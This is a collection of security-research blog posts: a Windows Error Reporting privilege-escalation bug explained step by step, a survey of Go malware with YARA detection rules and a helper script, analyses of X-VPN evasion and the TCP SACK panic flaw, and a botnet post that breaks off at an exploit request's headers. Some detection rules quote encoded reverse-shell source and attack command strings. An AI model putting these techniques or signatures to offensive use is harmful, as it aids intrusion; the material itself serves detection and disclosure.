Tale of a Windows Error Reporting Zero-Day (CVE-2019-0863)

Posted on by Ryan Olson

In December 2018, a hacker who goes by the alias ‘SandboxEscaper’ publicly disclosed a zero-day vulnerability in the Windows Error Reporting (WER) component. Digging deeper into her submission, I discovered another zero-day vulnerability, which could be abused to elevate system privileges. According to the Microsoft advisory, attackers exploited this bug as a zero-day in the wild until the patch was released in May 2019.

So how did this bug work exactly?

Microsoft WER Under the Hood

The Windows Error Reporting tool is a flexible event-based feedback infrastructure designed to gather information about hardware and software problems that Windows can detect, report the information to Microsoft, and provide users with any available solutions.

For example, if Windows encounters a system crash or a failure, an error report is generated and stored under the WER report queue directory (C:\ProgramData\Microsoft\Windows\WER\ReportQueue), where each report gets its own subdirectory and a unique Report.wer INI file with the relevant metadata. To enable all processes to report their failures, the ReportQueue directory is writable for all users, as you can see below:

Figure 1. Windows Error Reporting queue directory

After a report is generated, it has to be sent to Microsoft for further analysis. This interaction can be triggered in several ways, one of which is by using a scheduled task called Windows Error Reporting\QueueReporting. This task is interesting from a security perspective because:

  • It runs with System permissions, as defined in the ‘Security Options’ section of the task.
  • It can be triggered on demand.
  • It runs a dedicated binary code with a fixed command line argument – wermgr.exe -upload.

Figure 2. Windows Error Reporting Task Schedule

After it executes, wermgr.exe interacts with the pending report files and directories. It reads the files, parses them, copies them to other directories, and sometimes even deletes them. Point being, now we have a high privileged component accessing files that can be written by any user. If not implemented with caution, this could introduce some serious security vulnerabilities.

Abusing Filesystem Links

Windows supports different types of filesystem links, that can be used to point files and directories to other target files and directories. Quite simply, once the links are scanned and reparsed, they redirect the user to the target path(s). From a security perspective, the greatest threat comes from abusing hard links and mount points since users can link them to files or directories to which they have no writing permissions in the first place.

The example below depicts how a user with no writing permissions to kernel32.dll can create a link between c:\temp\Dir\x.dll and C:\Windows\System32\kernel32.dll. Being able to redirect to more privileged components is essentially all a hacker needs, enabling him to read, write and even delete sensitive, critical files.

Figure 3. Creating a hard link to a file that the user does not have privileges to writespa

Explaining the Bug

In short, the hacker exploits the ability of WER to change file permissions in order to assign himself read, write, edit and delete permissions to any other file he wants, by linking files in the report directory to different target files on the computer, using the above-mentioned filesystem linking.

In more detail, this is the full bug scenario:

  • Step 1: wermger.exe parses all files in the report directories, one by one, and submits them to Microsoft.
  • Step 2: When wermger.exe detects a corrupt Report.wer INI file, it will eventually delete it, however first it changes the file’s DACL properties by adding the process executer permission to delete this file.
  • Exploit: The hacker exploits the short window of opportunity that occurs between the time wermger.exe reads the file’s DACL, and the time it takes for it to add the delete permission to the file. If the attacker creates a link between such a file to any other file on the system, after the DACL is read, wermgr.exe will incorrectly modify the security descriptor of the other file. We can all agree this is a very, very bad scenario.

Step 1:

The first thing wermgr.exe -upload does is call the wermgr!DoCoreUpload function, which lists all the subdirectories under ReportQueue. It reads the error reports and submits them to Microsoft:

 

Step 2:

When wermgr.exe encounters a corrupt Report.wer INI file, it changes its DACL in order to later on delete it. More specifically,

  1. First, wermgr!DeleteCorruptedReportFromStore lists all the files under the report’s subdirectory;
  2. Then, wermgr!PreparePathForDeletion modifies the permissions for each file. This is where the core bug resides, since this function reads the file’s security descriptor using kernel32!GetFileSecurity and calls kernel32!SetFileSecurity to apply the delete descriptor to the file.

 

Creating the link at the exact right time is extremely difficult, yet a persistent hacker will try again and again until he succeeds. Attackers are likely to target executable files (DLLs, EXEs or scripts) and override them with malicious payload, knowing they will later on be executed with System permissions.

Traps Provides Behavior-based Protection

Palo Alto Networks Traps for endpoint protection and response stops threats on endpoints and coordinates enforcement with network and cloud security to prevent successful cyberattacks. Traps stops malware, exploits and ransomware by observing attack techniques and behaviors, incorporating Machine Learning (ML) and Artificial Intelligence (AI) to automatically detect and respond to sophisticated attacks. To prevent this bug, the Behavioral Threat Protection (BTP) feature in Traps would monitor malicious behaviors across a sequence of events, and immediately terminate the attack when it was detected. In addition, Traps Local Analysis via ML prevents malicious payloads from executing.

To learn more about Traps, visit us at ttps://www.paloaltonetworks.com/products/secure-the-endpoint/traps.

 

The Gopher in the Room: Analysis of GoLang Malware in the Wild

Posted on by Josh Grunzweig

Executive Summary

In recent months, I have taken a keen interest in malware written in the Go programming language. Go, sometimes referred to as GoLang, was created by Google in 2009 and has gained additional popularity within the malware development community in recent years.

While there have been an increased number of blogs in recent years discussing Go malware families, I wanted to know if this programming language was indeed on the rise when it pertained to malware. Additionally, I was curious what malware families would be most prevalent, as there is a notion among many that Go is primarily used by penetration testers and red teamers. With that in mind, I set out to collect as much malware written in Go as possible, and cluster it by malware family. The blog discusses my methodology of data collection and my results.

In total, roughly 10,700 unique malware samples written in Go were obtained. Based on the samples’ first seen timestamps, we can conclude that Go-compiled malware has been steadily on the rise for a number of months. Additionally, 92% of the samples identified were compiled for the Windows operating system, indicating that this is the most heavily targeted system by Go malware developers.

Of the samples, 75% were able to have their malware family identified. The most prominent malware families included Veil, GoBot2, and HERCULES. Additionally, the most prevalent malware groupings included Pentesting, Remote Access Trojans (RATs), and Backdoors.

For a point of clarification, the distinction made between RATs and Backdoors pertains to the malware family’s feature sets. Those that simply provided minimal functionality and provided remote access were labeled as a Backdoor, while fully featured Remote Access Trojans were labeled as such.

Why Write in Go?

Go has a number of features that might entice an attacker to use this particular programming language. Certainly one of the biggest draws to Go is the fact that a single codebase may be compiled for all of the major operating system platforms, including Windows, OSX, and Linux. This allows an attacker to focus on a single codebase that can be used to infect victims on various platforms, versus other programming languages that might require an attacker to have three different code repositories.

Other alternatives include using a universal scripting language, such as Python, to write their codebase. This was seen previously by the Chafer threat group that wrote one of their payloads in Python. The Seaduke malware family is another example of a threat group that took this approach. However, as Windows historically has not provided Python natively within the environment, in order for these codebases to properly execute in this environment, they must rely on packaging them using a utility such as PyInstaller. Such a tool, while accomplishing the job, leaves a number of traces in files it drops at runtime. Alternatively, Go leaves none of these artifacts, which may be to the benefit of the attacker.

Another positive to Go (or negative depending how you view it) is the fact that all necessary libraries are statically linked within the compiled binary. This typically results in a binary of a higher than average size. Of the 10,700 malware samples written in Go, the average size of these samples was 4.65MB. This is far larger than malware is typically, making it more difficult to use in Trojaned packages. Additionally, it may be more difficult to include in phishing emails as the attachment’s large size may not be permitted by the email server.

However, this large size has unexpected benefits as well. In certain circumstances, anti-virus products may ignore files, or be unable to scan them, in the event they are too large. This was witnessed in the past in targeted attacks involving the Comnie malware family, where the malware authors appended 64MB of garbage data to their files in an attempt to circumvent anti-virus products.

Methodology

To begin this research, I originally had to collect as many malware samples compiled in Go as I possibly could. However, this task alone proved to be relatively difficult. The repositories used for this research included both our own, as well as the third-party VirusTotal service. To start, I began by simply collecting all of the Go samples that could be identified, regardless of whether they were malicious.

To collect these samples, I took a number of approaches, including, but not limited to, the following:

  • OSX or Linux samples with embedded URLs referencing ‘Go.org’
  • Samples using the ‘Go-http-client/1.1’ user-agent
  • Samples using the ‘GRequests’ user-agent
  • PE samples containing the ‘.symtab’ section name
  • PE samples using a series of identified import hashes
  • OSX samples referencing Google’s gopacket github repository
  • OSX samples referencing gopkg.in
  • Samples matching YARA rules

Regarding the YARA rules, three separate rules were created to identify Go samples for each of the major platforms. As an example, the following rule was used to identify Go samples compiled for OSX:

rule osx_GoLang

{

meta:

     author = "Josh Grunzweig"

     description = "Attempts to identify samples written in Go     

     compiled for OSX."

     strings:

          $Go = "go.buildid"

     condition:

          (

               uint32(0) == 0xfeedface or

               uint32(0) == 0xcefaedfe or

               uint32(0) == 0xfeedfacf or

               uint32(0) == 0xcffaedfe or 

               uint32(0) == 0xcafebabe or

               uint32(0) == 0xbebafeca

          ) and

          $Go

}

Using these various techniques, I was able to aggregate roughly 611,000 unique samples.

After all sample hashes were acquired, I queried both our systems as well as VirusTotal to determine which samples were malicious. I simply checked for a verdict of ‘malware’ or 5 or more positives in the case of VirusTotal. Finally, I downloaded these remaining samples and ran the previously created YARA rules against them to confirm they were in fact Go samples. When it was all said and done, I was left with around 13,000 unique samples.

Now that I had my dataset, I began to work on clustering these samples into their respective malware families. To do this I primarily took a manual approach, analyzing a given file and creating YARA rules based on the identified malware family. To assist me, I also wrote some helper scripts to extract helpful information from the identified binaries. The following helper script attempts to extract user-defined function names from the binary, as well as any user-defined paths that may exist:

import sys

import re

inputfile = sys.argv[1]

fh = open(inputfile, 'rb')

fd = fh.read()

fh.close()

minimum = 5

char = r"[\t\n\x20-\x7f]" + "{{{},}}".format(minimum)

wchar = r"(([\t\n\x20-\x7f]\x00)" + "{{{},}}".format(minimum) + r"\x00)"

allStrings = []

for s in re.findall(char, fd):

     allStrings.append(s)

for s in re.findall(wchar, fd):

     allStrings.append(s[0].replace("\x00",''))

 

blacklist = []

allStr = []

for s in allStrings:

     if s[-3:] == ".go" and "main.go" in s:

          allStr.append(s)

     elif s[0:5] == "main.":

          if "statictmp" not in s:

               if ".init." not in s:

                    if ".(*" not in s:

                         allStr.append(s)

for x in list(set(allStr)):

     print(repr(x))

An example of running this is below:

$ python find_interesting_strings.py fc684bbf9428a4e33c390e3963c9bfa24e81cb040ccd601c6e7f5b6c193e2808.bin

'main.encryptFile'

'main.writeLog.func1'

'main.writeLog'

'main.init'

'main.scanDir'

'main.ignoreUsersFolders'

'main.ignoreRootFolders'

'main.encryptFile.func1'

'main.logFilePath'

'main.ignoreProgramFilesFolders'

'C:/Users/pc/go/src/scaner/main.go'

'main.ignoreProgramDataFolders'

'main.initdone'

'main.makeReadmeFile.func1'

'main.ignoreFiles'

'main.ignoreFileExtensions'

'main.main'

'main.makeReadmeFile'

'main.DEBUG'

This allowed me to easily determine which function names and code paths were most common, and in some cases allowed me to cluster samples based on this information alone. One example of a malware family’s YARA rule is as follows:

rule trojan_golang_hercules: Pentesting

{

     meta:

          author = "jgrunzweig - PaloAltoNetworks"

          date = "2019-06-15"

          description = "the HERCULES malware family written in     

          Go."

          hash1 = "2a7da0a0acadb61fb79fa4a33130d09ecff5a904b0999d264d8c1edffeffea95"

          hash2 = "6e68dafbb717daf6a505d8a95c41e5114d91c4fde703343356352c1ca5cd24ea"

          hash3 = "645ed38f2d55b2f7731d5c9223329428592497eb95c96bcd7c01a4eaeb38e137"

          reference = "https://github.com/EgeBalci/HERCULES"

     strings:

          $buildid = "go.buildid"

          $uniq1 = "cGFja2FnZSBtYWluCgppbXBvcnQgIm5ldCIKaW1wb3J0ICJvcy9leGVjIgppbXBvcnQgImJ1ZmlvIgppbXBvcnQgInN0cmluZ3MiCmltcG9ydCAic3lzY2FsbCIKaW1wb3J0ICJ0aW1lIgppbXBvcnQgIkVHRVNQTE9JVCIKCgoKY29uc3QgSVAgc3RyaW5nID0gIjEwLjEwLjEwLjg0Igpjb25zdCBQT1JUIHN0cmluZyA9ICI1NTU1IgoKY29uc3QgQkFDS0RPT1IgYm9vbCA9IGZhbHNlOw"

          $uniq2 = "cGFja2FnZSBtYWluCgoKaW1wb3J0ICJlbmNvZGluZy9iaW5hcnkiCmltcG9ydCAic3lzY2FsbCIKaW1wb3J0ICJ1bnNhZmUiCi8vaW1wb3J0ICJFR0VTUExPSVQvUlNFIgoKY29uc3QgTUVNX0NPTU1JVCAgPSAweDEwMDAKY29uc3QgTUVNX1JFU0VSVkUgPSAweDIwMDAKY29uc3QgUEFHRV9BbGxvY2F0ZVVURV9SRUFEV1JJVEUgID0gMHg0MAoKCnZhciBLMzIgPSBzeXNjYWxsLk5ld0"

          $uniq3 = "cGFja2FnZSBtYWluCgppbXBvcnQgIm5ldC9odHRwIgppbXBvcnQgInN5c2NhbGwiCmltcG9ydCAidW5zYWZlIgppbXBvcnQgImlvL2lvdXRpbCIKLy9pbXBvcnQgIkVHRVNQTE9JVC9SU0UiCgoKCmNvbnN0IE1FTV9DT01NSVQgID0gMHgxMDAwCmNvbnN0IE1FTV9SRVNFUlZFID0gMHgyMDAwCmNvbnN0IFBBR0VfQWxsb2NhdGVVVEVfUkVBRFdSSVRFICA9IDB4NDAKCnZhciBLMzIgPS"

         $path = "/HERCULES/"

 

         $banner = "HERCULES REVERSE SHELL"

         $help1 = "~DOS -A \"www.targetsite.com\""

         $help2 = "~WIFI-LIST "

         $help3 = "~KEYLOGGER-DUMP "

         $help4 = "Creates a reverse http meterpreter session at given pid (EXPERIMENTAL)"

 

     condition:

          (

                // Windows binary

               (uint16(0) == 0x5a4d) or

               // OSX binary

               (

                    (

                         uint32(0) == 0xfeedface or

                         uint32(0) == 0xcefaedfe or

                         uint32(0) == 0xfeedfacf or

                         uint32(0) == 0xcffaedfe or

                         uint32(0) == 0xcafebabe or

                         uint32(0) == 0xbebafeca)

                    ) or

                    // Linux binary

                    (uint32(0) == 0x464C457F)

               ) and

               filesize > 500KB and

               $buildid and

               (

                    any of ($uniq*) or

                    $banner or

                    any of ($help*) or

                    $path

               )

}

This manual approach also allowed me to identify false positives. When I was finally through, about 2,000 false positives had been identified. This brought my total malware sample count to 10,700. Of these, 75% were identified as malware.

A total of 53 unique malware families were identified during this research, with a YARA rule being created for each.

Results

Perhaps one of the most clear conclusions to draw from this research is the relatively small number of malware files compiled in Go that were identified. While it is possible this may have been a result of my methodology, I believe it’s a fairly accurate number overall. Go as a malware development language is still very much in its infancy, and has yet to truly gain high popularity among this community. That being said, looking at a timeline of the malware samples compiled in Go’s first seen dates, we can see that it appears to be growing in popularity.

Figure 1. Timeline of Go Malware samples based on first seen dates.

Another possibly interesting result from this research was identifying what operating systems for which Go malware samples were most frequently compiled. In total, the majority were written for Windows, which may come as no surprise for many.

Figure 2. Operating systems for which Go malware samples were compiled.

In total, 92% of the Go malware samples identified were compiled for the Windows operating system, 4.5% were compiled for Linux, and the remaining were compiled for OSX. As Windows continues to be the most heavily targeted platform by attackers, this data is not surprising. However, I personally thought going into this research that the Windows operating system would not have such a large percentage of the overall malware identified.

As I previously stated, a total of 53 malware families were identified during the course of this research. The results are as follows:

Malware Family Malware Count (Percentage)
Veil 3772 (47%)
GoBot2 1025 (12.8%)
HERCULES 475 (5.9%)
CHAOS 471 (5.9%)
Generic Coinminer 406 (5.1%)
Infostealer 360 (4.5%)
TinyBanker 182 (2.3%)
GoBrut 165 (2.1%)
Neshta 164 (2.1%)
ARCANUS 150 (1.9%)
Gandalf Botnet 120 (1.5%)
hershell 86 (1.1%)
rocke 60 (0.75%)
Infostealer Variant B 44 (0.55%)
GoBot 43 (0.53%)
Shellcode Loader Variant B 41 (0.51%)
Downloader Variant D 41 (0.51%)
ShurL0ckr 37 (0.46%)
Mirai 36 (0.45%)
merlin 35 (0.44%)
EGESPLOIT 32 (0.4%)
Downloader Variant B 32 (0.4%)
Mauri870 Ransomware Family 27 (0.34%)
nett Botnet 21 (0.26%)
gscript 18 (0.23%)
Malicious FireFox Extension Loader 14 (0.18%)
Supic Backdoor 12 (0.15%)
r2r2 11 (0.14%)
RobbinHood 10 (0.13%)
jimm Ransomware 9 (0.11%)
braincrypt 9 (0.11%)
Rakos 8 (0.1%)
TrumpHead Ransomware 7 (0.08%)
HTRAN 7 (0.08%)
Keylogger Variant A 7 (0.08%)
YourRansom Ransomware 5 (0.06%)
RDW 5 (0.06%)
Ransomware Variant A 5 (0.06%)
Italian Downloader 4 (0.05%)
Scanner Variant A 4 (0.05%)
Shifr Ransomware 4 (0.05%)
Shellcode Loader Variant A 4 (0.05%)
go-bot 3 (0.04%)
Exploit Utility Variant A 3 (0.04%)
Zebrocy 3 (0.04%)
Downloader Variant C 3 (0.04%)
Downloader Variant A 3 (0.04%)
RaaS Ransomware 3 (0.04%)
goshell 2 (0.03%)
TeleGrab 2 (0.03%)
gorsh 2 (0.03%)
Czech Downloader 1 (0.01%)
Bitfinex Lending Bot 1 (0.01%)
TOTAL: 7997 (100%)

Table 1. Go malware families identified.

To provide a different representation of the results, the individual malware families were placed into different categories based on their attributes and purpose. These results are illustrated below:

 

Figure 3. Go Malware Categories.

As we can see, a majority of the files identified are associated with penetration testing activity. While they can be used maliciously as well, penetration testing was their intended purpose. While a majority of the samples had this characteristic, we see a number of malware samples identified that have no legitimate purposes. RATs, Backdoors, Coinminers, and Information Stealers top the list of the remaining categories.

Conclusion

Overall, this research exercise proved to be enlightening to me personally for a number of reasons. While certain preconceived notions around the prevalence of pentesting-related Go malware were indeed confirmed, there was also a wealth of different true malware families present. These malware families ranged from backdoors to botnets to banking Trojans. The overall low number of malware samples identified also was an interesting data point, showing that generally speaking, Go malware still has not gained a significant interest from malware developers. However, the timelines of the identified malware sample’s first seen timestamps indicate that Go malware is gaining popularity. Looking at the specific timeframe of January to March between 2017 to 2019, we see a significant rise where the number of identified malware samples rose by a factor of almost 20 (+1944%).

Go malware is still in its infancy. However, it is gaining attention of both malware developers as well as the security community in general, as new malware families are discovered and published on frequently. Because the developers may compile a single code base against all major operating systems, it is my belief that Go will constitute a much larger market share of developed malware in the years to come, and should be on the security community’s proverbial radar.

All of the research mentioned within this blog post has been used to further protections within Palo Alto Networks’ product suite.

Indicators of Compromise

To assist the security community, I am releasing the full list of hashes and their YARA rule matches. They can be downloaded here.

 

 

Evasion of Security Policies by VPN Clients Poses Great Risk to Network Operators

Posted on by Stefan Achleitner

Executive Summary

Researchers with Palo Alto Networks Unit 42 investigated the tunneling software X-VPN, which uses various evasion techniques to bypass security and policy enforcement mechanisms. X-VPN is a type of Virtual Private Network (VPN) that can be used to bypass internet censorship and traffic policy enforcement points, which poses a great risk to network operators as well as VPN users.

X-VPN is currently one of the most evasive VPN clients, mimicking various popular protocols and services to bypass security policies. As a consequence, protection systems are not able to inspect the data packets, which can allow malicious traffic to enter the network or sensitive information to leave network.

Risks of Evasive VPN Connections

Using VPN clients such as X-VPN will put the user of such software as well as the network operator at risk. Users have to consider the following risks when they decide to use a VPN client:

  • Can the VPN provider be trusted? – When using a VPN, all data from a client is sent to a third party who is able to perform various analysis and logging on the data.
  • Jurisdiction of host-country – Depending where the VPN provider is located, the host country might require the VPN provider to share certain user data with the government. During our analysis of X-VPN we found that many exit nodes are located in different countries, which are often automatically selected by the VPN client.
  • Restricting traffic – Since a VPN provider has complete control over the data from its users, it can throttle or even block connections to various services or favor certain content providers over others.
  • Risks of malware and spyware – VPN clients often access third-party sources and can infect the host with malware or spyware programs. Especially if VPNs use custom encryption, security monitors won’t be able to identify malicious payloads of incoming traffic.
  • Using the client as an exit node – VPN clients may allow its users to connect through an installed client of another end-user. In such a case the end-user who is used as an exit node may be held responsible for any illegal activities other VPN users perform.

Considering the risks associated with VPNs, it is critical that network operators are able to monitor and control the usage of VPNs in their networks. The following section discusses evasion techniques found during our deep analysis of X-VPN.

X-VPN Evasion Techniques

X-VPN’s evasion techniques are based on using custom encryption of TCP and UDP payloads as well as mimicking other application layer protocols such as HTTP, SSL, FTP, NTP, and SMTP. Based on our research, X-VPN uses an estimated 10,000 server instances hosted by public cloud providers and replaces 300-500 server instances with new public IP addresses every day.

To hide the actual payload of data packets, X-VPN mimics connections to popular services such as www.google.com or www.bing.com:

 

Figure 1. X-VPN traffic mimicking web browsing to www.bing.com

As shown in Figure 1, X-VPN mimics HTTP traffic which appears to be web browsing traffic to Bing. The highlighted fields are custom encrypted and either used as command and control traffic or to transmit data between the client software and one of X-VPN’s server instances.

In comparison, Figure 2 shows the HTTP header of real web browsing traffic to www.bing.com

Figure 2. Real traffic to www.bing.com

The same techniques can be observed with SSL traffic, where X-VPN mimics the SSL handshake, e.g. to google.com, as we show in Figure 3.

Figure 3. X-VPN mimicking SSL handshake to www.google.com

Besides the usage of popular services as domain names, we also observed that X-VPN uses generated domains such as 8v9m.com.

In addition to using deceptive HTTP and SSL packets to tunnel data through policy enforcement systems, X-VPN applies the same principle to FTP, SMTP and NTP traffic and hides custom encoded data within fields embedded in packets that appear as benign protocols.

In Figure 4, such an example is shown where the structure of a Simple Mail Transfer Protocol (SMTP) packet which appears to communicate with icloud.com is used by X-VPN to transmit data. The ‘FROM’ and ‘TO’ mail addresses in the SMTP packet stream appear as custom encrypted values. This traffic is assumed to be used by X-VPN for command and control communication.

 

Figure 4. X-VPN mimicking SMTP traffic

A similar method is used by X-VPN to utilize FTP (File Transfer Protocol) traffic where the username and password are custom encrypted to communicate information between client and server in an evasive way as we show in Figure 5.

Figure 5. X-VPN mimicking FTP traffic

Conclusion and Mitigation

Palo Alto Networks can help customers and enterprises by blocking X-VPN and other proxies by a combination of different best practice recommendations. A detailed description on how to configure Palo Alto Networks Firewall to block X-VPN can be found here: Configure Palo Alto Networks Firewall To Block X-VPN

TCP SACK Panics Linux Servers

Posted on by Unit 42

Executive Summary

The newly discovered Linux vulnerabilities, CVE-2019-11477, CVE-2019-11478, and CVE-2019-11479, affect all Linux operating systems newer than kernel 2.6.29 (released on March 2009) or above and can cause a kernel panic to systems with services listening on a TCP connection. This remote attack can put a server into a Denial of Service (DoS) state, but remote code execution is not of concern. The vulnerability roots on the flaws in the TCP Selective Acknowledgement (SACK) and Maximum Segment Size (MSS) implementation. The attack can be triggered by a remote user who sets the MSS to the lowest limit of 48 bytes and sends a sequence of specially crafted SACK packets to overflow the receiver’s socket buffer. Most of the Linux distributions have released a patch, RedHat, Ubuntu, and openSUSE. If immediately patching the system is not possible, the attack can also be blocked by firewall rules or traffic control policies. As the attack is fairly simple, a proof of concept (POC) exploit should be available soon and we expect to see large-scale DDoS attacks within a few days as attackers exploit unprotected systems.

TCP SACK

RedHat gives a detailed description of this attack; we’ve included a brief review of the attack. The TCP SACK attack is achieved by tipping the balance between the sender’s TCP selective acknowledgment (SACK) mechanism and the receiver’s maximum segment size (MSS) settings. SACK is a mechanism used to inform the sender system which TCP packets have been accepted successfully by the receiver and which packets need to be resent. MSS is a setting set by the receiver on how large of a packet can be received by its network. When a receiver’s MSS is set to its lowest setting of only 48 bytes, the sender is required to send more segments to fulfill the request. When a receiver requests a large network transfer, i.e. media, or a large file transfer, the sender begins the monitoring the successful receipt of transmitted packets. However, the imbalance between the receiver’s low MSS capability and the potential for a sender's limited volume to store a long SACK queue can cause an overflow in the sender's SACK queue. This overflow of unsent packets, when large enough, can trigger a kernel panic state causing the DoS.

Impact

Any server with Linux kernel 2.6.29 or above and with open ports running TCP services are vulnerable to this attack. We perform a few queries on Shodan to understand the potential impact of this vulnerability, see Image 1. There are currently 1,944,975 Linux-based servers discoverable on the internet. 543,797 servers have http running on port 80, 152,416 servers have sshd running on port 22, and 126,143 servers have https running on port 443. If no special firewall rules or traffic control policy is enforced on these servers, they can all be potential targets to the attack.

Image 1. Publicly discoverable Linux systems via Shodan

Resolution

This attack targets Linux kernel systems. If you have a Linux system that is running a kernel version of 2.6.29 or higher, the system should be upgraded to the latest Linux release available. If the client is using Google Cloud Platform (GCP), Microsoft Azure, or another Infrastructure as a Service (IaaS), please follow their Linux upgrade procedures to upgrade all Linux systems to the latest release.

Amazon has identified the following services which can fall victim to the identified SACK Panic attack:

  • AWS Elastic Beanstalk
  • Amazon Linux and Amazon Linux 2
  • Amazon Elastic Compute Cloud (EC2)
  • Elastic Load Balancing (ELB)
  • Amazon WorkSpaces (Linux)
  • Amazon Elastic Container Service for Kubernetes (Amazon EKS)
  • Amazon ElastiCache
  • Amazon EMR

Clients who use any or all of the identified Amazon services should update those services to their latest versions. Below is an abbreviated listing of actions to be taken for each of the listed Amazon Services.

AWS Elastic Beanstalk

  • If clients are using Amazon’s Managed Platform Updates, these systems will be updated during the selected maintenance window. If the client has not enabled Managed Platform Updates, the following link will assist them in setting up that process, Managed Platform Updates Guide.

Amazon Linux and Amazon Linux 2

  • New Linux kernels have been uploaded and are available within the Amazon Linux repository. Clients should run the following command in each of their EC2 instances to receive the kernel update.
    sudo yum update kernel

Amazon Elastic Compute Cloud (EC2)

  • Perform the following command within each EC2 instance
    sudo yum update kernel

Elastic Load Balancing (ELB)

  • If your ELBs are configured to be classic load or application balancers, or if they are configured with TLS termination enabled, no action required.If you are running Linux-based EC2 instances within AWS which are not terminating TLS sessions, update the Linux kernels for those systems. Instructions can be found here.

Amazon WorkSpaces (Linux)

  • All new Linux WorkSpaces will be updated automatically and do not require any updates by the client.

Amazon Elastic Container Service for Kubernetes (Amazon EKS)

  • All currently-running EKS clusters are protected against this attack. Clients should replace all worker nodes to use the latest EKS version.

Amazon ElastiCache

  • ElastiCache VPCs to not accept untrusted TCP connections by default and are not affected.
  • If a client has made changes to their default ElastiCache VPC they will need to ensure their ElastiCache security groups follow AWS best practices and configure them to block traffic from untrusted clients. Additional information can be found in Amazon’s VPC and ElastiCache Security page.
  • If a client has an ElastiCache running outside of a VPC and has altered the ElastiCache from the default, should configure their instance using ElastiCache security groups. More information can be found in Amazon’s EC2-Classic Security Group page.

Amazon EMR

  • Amazon EMR launches EC2 instances running Linux into a client’s VPC, and these do not accept untrusted TCP connections by default and are not affected.
  • Any client who has made changes to the EMR VPC should follow AWS best practices and configure them to block traffic from untrusted clients. Additional information can be found in Amazon’s Control Network Traffic with Security Groups page.
  • If clients choose not to configure EMR security groups according to AWS best practices can follow these guidelines:
    • New Clusters - use EMR bootstrap actions to update the Linux Kernel and reboot each instance. Assistance can be found in Amazon’s EMR Bootstrap Plan page.
    • Existing Clusters - Update the Linux kernel on each instance within the cluster and reboot the instances one at a time.

Conclusion

Due to the low complexity and high severity of this vulnerability, it won’t be surprising to see large scale DDoS attacks in a few days. It is critical to update the Linux kernel as soon as possible. For the servers running in the public cloud with TCP services open to the internet, it is even more critical to patch immediately or at least set up firewall rules to block the attack. The resolution guideline provided in this blog should help administrators secure their systems.

 

Unit 42 Discovers 10 New Microsoft Vulnerabilities

Posted on by John Harrison

Palo Alto Networks Unit 42 threat researchers have discovered one new vulnerability addressed by the Microsoft Security Response Center (MSRC) as part of their June 2019 security update release, as well as nine additional vulnerabilities that were addressed in May 2019. The severity of the vulnerabilities discovered were all rated “Important.”

Palo Alto Networks customers who deploy our Next-Generation Security Platform according to best practices and have a Threat Prevention Subscription are protected from zero-day vulnerabilities such as these. Weaponized exploits for these vulnerabilities are prevented by Traps’ multi-layered exploit prevention capabilities. Threat prevention capabilities such as vulnerability protection with IPS and WildFire provide our customers with comprehensive protection and automatic updates against previously unknown threats.

Palo Alto Networks appreciates the recognition and credit Microsoft has given our Unit 42 threat researchers. Palo Alto Networks is a regular contributor to vulnerability research in Microsoft, Adobe, Apple, Android, and other ecosystems with more than 200 critical vulnerabilities discovered. By proactively identifying these vulnerabilities, developing protections for our customers, and sharing the information with the security community, we are removing weapons used by attackers to threaten users, and compromise enterprise, government, and service provider networks.

For additional information and prioritization for patching vulnerabilities, Palo Alto Networks recommends reviewing the SANS ISC (Internet Storm Center) Microsoft June Vulnerability summary.

 

CVE Vulnerability Category Impact Maximum Severity Rating Researcher(s)
CVE-2019-0909 Jet Database Engine Remote Code Execution Vulnerability Remote Code Execution Important Gal De Leon and Bar Lahav
CVE-2019-0863 Windows Error Reporting Elevation of Privilege Vulnerability Elevation of Privilege Important Gal De Leon
CVE-2019-0889 Jet Database Engine Remote Code Execution Vulnerability Remote Code Execution Important Bar Lahav and Gal De Leon
CVE-2019-0890 Jet Database Engine Remote Code Execution Vulnerability Remote Code Execution Important Bar Lahav and Gal De Leon
CVE-2019-0891 Jet Database Engine Remote Code Execution Vulnerability Remote Code Execution Important Bar Lahav and Gal De Leon
CVE-2019-0899 Jet Database Engine Remote Code Execution Vulnerability Remote Code Execution Important Gal De Leon and Bar Lahav
CVE-2019-0900 Jet Database Engine Remote Code Execution Vulnerability Remote Code Execution Important Bar Lahav and Gal De Leon
CVE-2019-0901 Jet Database Engine Remote Code Execution Vulnerability Remote Code Execution Important Bar Lahav and Gal De Leon
CVE-2019-0902 Jet Database Engine Remote Code Execution Vulnerability Remote Code Execution Important Bar Lahav and Gal De Leon
CVE-2019-0947 Microsoft Office Access Connectivity Engine Remote Code Execution Vulnerability Remote Code Execution Important Bar Lahav and Gal De Leon

Hide ‘N Seek Botnet Updates Arsenal with Exploits Against Nexus Repository Manager & ThinkPHP

Posted on by Ruchna Nigam

Executive Summary

The Hide 'N Seek botnet was first discovered in January 2018 and is known for its unique use of Peer-to-Peer communication between bots.

Since its discovery, the malware family has seen a couple of upgrades, from the addition of persistence and new exploits, to targeting Android devices via the Android Debug Bridge (ADB).

This post details a variant of the family first seen on the 21st of February 2019, incorporating two new exploits - CVE-2018-20062 which targets ThinkPHP installations, and CVE-2019-7238, a Remote Code Execution (RCE) vulnerability in Sonatype Nexus Repository Manager (NXRM) 3 software installations.

While the ThinkPHP exploit has already been seen employed by several Mirai variants, the only other instance of the CVE-2019-7238 vulnerability being exploited in the wild has been by the DDG botnet. Our research, outlined below, shows that the Hide 'N Seek botnet incorporated this exploit back in February 2019, even before the DDG botnet.

Technical Analysis

This newest version of the Hide 'N Seek malware incorporates many of the previously seen features of the malware family including the persistence, the incorporation of exploits, and targeting Android devices via ADB.

In addition to exploits previously used by the malware family, this particular version is unique for its use of the following two new exploits:

  • CVE-2019-7238, which is a RCE vulnerability in Sonatype Nexus Repository Manager installations prior to version 3.15.0. While Proof of Concept (PoC) code for this vulnerability has been publicly available since a few weeks after its public disclosure, the only other instance of it being exploited in the wild has been by the DDG botnet in May 2019. Our research has shown, based on the first seen date for samples of this new Hide 'N Seek version, that the first demonstrated exploitation in the wild was actually February 2019, a full month prior to the DDG botnet. The exploit format is shown below: 

POST /service/extdirect HTTP/1.1

Host: %J

Accept: */*

Content-Type: application/json

Connection: close

Content-Length: %d

